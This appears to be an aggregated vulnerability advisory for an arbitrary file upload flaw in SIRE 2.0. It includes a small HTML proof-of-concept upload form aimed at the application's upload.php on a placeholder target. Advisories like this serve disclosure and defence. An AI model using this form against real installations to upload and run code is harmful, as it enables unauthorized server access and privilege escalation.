SIRE 2.0 - Arbitrary File Upload Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

SIRE 2.0 arbitrary file upload vulnerability allows code executio


                                                source: http://www.securityfocus.com/bid/17431/info

SIRE is prone to an arbitrary file-upload vulnerability. 

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

&#60;form enctype=&#34;multipart/form-data&#34; method=&#34;post&#34; action=&#34;http://Trajet/upload.php?&#34;&#62; Download File&#60;br&#62;

&#60;input name=&#34;fichier&#34; type=&#34;file&#34; size=&#34;48&#34;&#62;&#60;br&#62;
&#60;input type=&#34;submit&#34; name=&#34;upload&#34; value=&#34;uploader&#34;&#62;&#60;form&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1

sire 2.0. arbitrary file upload. code execution. webserver process. unauthorized access. privilege escalation. exploit.